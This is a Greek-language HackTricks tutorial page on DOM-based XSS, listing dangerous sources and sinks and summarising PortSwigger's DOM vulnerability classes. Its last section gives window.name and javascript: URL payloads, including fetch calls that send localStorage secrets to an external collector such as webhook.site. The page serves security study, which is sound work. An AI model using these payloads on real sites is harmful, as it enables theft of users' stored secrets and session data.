DOM XSS

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DOM Vulnerabilities

Οι DOM ευπάθειες προκύπτουν όταν δεδομένα που ελέγχονται από τον επιτιθέμενο sources (όπως location.search, document.referrer, ή document.cookie) μεταφέρονται με μη ασφαλή τρόπο σε sinks. Τα sinks είναι συναρτήσεις ή αντικείμενα (π.χ., eval(), document.body.innerHTML) που μπορούν να εκτελέσουν ή να αποδώσουν κακόβουλο περιεχόμενο εάν λάβουν κακόβουλα δεδομένα.

  • Sources είναι είσοδοι που μπορούν να τροποποιηθούν από επιτιθέμενους, συμπεριλαμβανομένων των URLs, cookies και web messages.
  • Sinks είναι δυνητικά επικίνδυνα σημεία όπου κακόβουλα δεδομένα μπορούν να οδηγήσουν σε ανεπιθύμητες συνέπειες, όπως εκτέλεση script.

Ο κίνδυνος προκύπτει όταν δεδομένα ρέουν από μια source σε ένα sink χωρίς σωστή επικύρωση ή απολύμανση, επιτρέποντας επιθέσεις όπως XSS.

Tip

Μπορείτε να βρείτε μια πιο πρόσφατη λίστα με sources και sinks στο https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

Η innerHTML sink δεν αποδέχεται στοιχεία script σε κανέναν σύγχρονο browser, ούτε τα svg onload events θα πυροδοτηθούν. Αυτό σημαίνει ότι θα χρειαστεί να χρησιμοποιήσετε εναλλακτικά στοιχεία όπως img ή iframe.

Αυτό το είδος XSS είναι πιθανότατα το πιο δύσκολο να εντοπιστεί, καθώς πρέπει να κοιτάξετε μέσα στον κώδικα JS, να δείτε αν χρησιμοποιεί οποιοδήποτε αντικείμενο της τιμής που ελέγχετε, και σε αυτή την περίπτωση, να ερευνήσετε αν υπάρχει κάποιος τρόπος κατάχρησης του ώστε να εκτελεστεί αυθαίρετο JS.

Tools to find them

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

Πηγή: https://portswigger.net/web-security/dom-based/cookie-manipulation

Οι ευπάθειες DOM-based cookie-manipulation συμβαίνουν όταν ένα script ενσωματώνει δεδομένα, τα οποία μπορούν να ελεγχθούν από έναν attacker, στην τιμή ενός cookie. Αυτή η ευπάθεια μπορεί να οδηγήσει σε απροσδόκητη συμπεριφορά της ιστοσελίδας αν το cookie χρησιμοποιείται εντός του site. Επιπλέον, μπορεί να εκμεταλλευτεί για την εκτέλεση ενός session fixation attack αν το cookie εμπλέκεται στην παρακολούθηση των user sessions. Ο κύριος sink που σχετίζεται με αυτήν την ευπάθεια είναι:

Sinks:

document.cookie

JavaScript Injection

Πηγή: [https://portswigger.net/web-security/dom-based/javascript-injection]

Οι ευπάθειες DOM-based JavaScript injection δημιουργούνται όταν ένα script εκτελεί δεδομένα που μπορούν να ελεγχθούν από έναν attacker ως JavaScript code.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Από: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities συμβαίνουν όταν ένα script θέτει την ιδιότητα document.domain χρησιμοποιώντας δεδομένα που μπορεί να ελέγξει ένας attacker.

Η ιδιότητα document.domain παίζει έναν κεντρικό ρόλο στην επιβολή της same-origin policy από τους browsers. Όταν δύο σελίδες από διαφορετικά origins ορίσουν το document.domain στην ίδια τιμή, μπορούν να αλληλεπιδράσουν χωρίς περιορισμούς. Αν και οι browsers επιβάλλουν ορισμένα όρια στις τιμές που μπορούν να ανατεθούν στο document.domain, αποτρέποντας την ανάθεση εντελώς άσχετων τιμών σε σχέση με το πραγματικό origin της σελίδας, υπάρχουν εξαιρέσεις. Συνήθως, οι browsers επιτρέπουν τη χρήση child ή parent domains.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning συμβαίνει όταν ένα script χρησιμοποιεί ελεγχόμενα δεδομένα ως τη διεύθυνση URL-στόχο για μια σύνδεση WebSocket.

Sinks:

Ο constructor WebSocket μπορεί να οδηγήσει σε ευπάθειες WebSocket-URL poisoning.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities προκύπτουν όταν ένα script γράφει attacker-controllable δεδομένα σε στόχο πλοήγησης μέσα στην τρέχουσα σελίδα, όπως έναν σύνδεσμο που μπορεί να κλικαριστεί ή τη διεύθυνση URL υποβολής μιας φόρμας.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities προκύπτουν όταν ένα script γράφει attacker-controllable data into an Ajax request που εκτελείται χρησιμοποιώντας το XmlHttpRequest αντικείμενο.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

Από: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities εμφανίζονται όταν ένα script περνάει attacker-controllable data to a file-handling API ως την παράμετρο filename. Αυτή η ευπάθεια μπορεί να αξιοποιηθεί από έναν attacker για να κατασκευάσει ένα URL που, αν το επισκεφθεί άλλος χρήστης, μπορεί να οδηγήσει στο άνοιγμα ή την εγγραφή ενός αυθαίρετου τοπικού αρχείου από τον browser του χρήστη.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities εμφανίζονται όταν ένα script ενσωματώνει δεδομένα που μπορεί να ελέγξει ο attacker σε ένα client-side SQL query με μη ασφαλή τρόπο.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities εμφανίζονται όταν ένα script stores attacker-controllable data in the web browser’s HTML5 storage (localStorage or sessionStorage). Ενώ αυτή η ενέργεια δεν είναι εγγενώς μια ευπάθεια ασφαλείας, γίνεται προβληματική αν η εφαρμογή στη συνέχεια reads the stored data and processes it unsafely. Αυτό θα μπορούσε να επιτρέψει σε έναν attacker να αξιοποιήσει τον μηχανισμό αποθήκευσης για να πραγματοποιήσει άλλες DOM-based attacks, όπως cross-site scripting και JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Από: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities εμφανίζονται όταν ένα script ενσωματώνει attacker-controllable data σε ένα XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Από: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities εμφανίζονται όταν ένα script ενσωματώνει attacker-controllable data σε μια συμβολοσειρά που αναλύεται ως JSON data structure και στη συνέχεια επεξεργάζεται από την εφαρμογή.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

Από: [https://portswigger.net/web-security/dom-based/web-message-manipulation]

Web-message vulnerabilities προκύπτουν όταν ένα script στέλνει attacker-controllable data as a web message to another document μέσα στον browser. Ένα παράδειγμα ευπαθούς Web-message manipulation βρίσκεται στο PortSwigger’s Web Security Academy.

Sinks:

DOM-data manipulation

Από: [https://portswigger.net/web-security/dom-based/dom-data-manipulation]

DOM-data manipulation vulnerabilities προκύπτουν όταν ένα script γράφει attacker-controllable data to a field within the DOM σε πεδίο του DOM που χρησιμοποιείται στο ορατό UI ή στην client-side λογική. Αυτή η ευπάθεια μπορεί να εκμεταλλευτεί ένας attacker για να κατασκευάσει ένα URL που, αν το επισκεφθεί άλλος χρήστης, μπορεί να αλλάξει την εμφάνιση ή τη συμπεριφορά του client-side UI.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Από: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities συμβαίνουν όταν ένα script περνάει attacker-controllable data unsafely to a problematic platform API. Αυτό περιλαμβάνει APIs που, όταν καλούνται, μπορεί να οδηγήσουν τον υπολογιστή του χρήστη να καταναλώσει υπερβολικές ποσότητες CPU ή χώρου στο δίσκο. Τέτοιες ευπάθειες μπορεί να έχουν σημαντικές παρενέργειες, όπως το πρόγραμμα περιήγησης να περιορίζει τη λειτουργικότητα του ιστότοπου απορρίπτοντας προσπάθειες αποθήκευσης δεδομένων στο localStorage ή τερματίζοντας scripts που καταναλώνουν πόρους.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Άδηλες καθολικές μεταβλητές & window.name κατάχρηση

Η αναφορά σε name χωρίς δήλωση (var/let/const) επιλύεται σε window.name. Επειδή το window.name διατηρείται μεταξύ cross-origin πλοηγήσεων, ένας επιτιθέμενος μπορεί να προκαταχωρήσει ένα όνομα πλαισίου περιήγησης με HTML/JS και αργότερα να κάνει τον κώδικα του θύματος να το αποδώσει ως αξιόπιστα δεδομένα:

  • Άνοιξε/πλοηγήσου στο στόχο σε ένα ονομασμένο πλαίσιο που ελέγχεις:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Ή επαναχρησιμοποίησε το window.open με ένα κατασκευασμένο όνομα στόχου:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Αν η εφαρμογή στη συνέχεια εκτελέσει element.innerHTML = name (ή παρόμοιο sink) χωρίς sanitization, η attacker-controlled window.name συμβολοσειρά εκτελείται στο target origin, επιτρέποντας DOM XSS και πρόσβαση σε same-origin storage.

Admin/automation flows: προ-γεμισμένη αποθήκευση & javascript: navigation

Automation bots (π.χ. Playwright) συχνά επισκέπτονται πρώτα μια εσωτερική σελίδα, αποθηκεύουν secrets στο localStorage/cookies, και μετά πλοηγούνται σε URLs που παρέχονται από τον χρήστη. Οποιοδήποτε DOM XSS primitive (συμπεριλαμβανομένης της κατάχρησης του window.name) σε αυτή τη ροή μπορεί να exfiltrate το προ-γεμισμένο secret:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Αν το bot δεν περιορίζει τα schemes, η παροχή ενός URL javascript: (javascript:fetch(...)) εκτελείται στο current origin χωρίς νέα πλοήγηση, directly leaking storage values.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks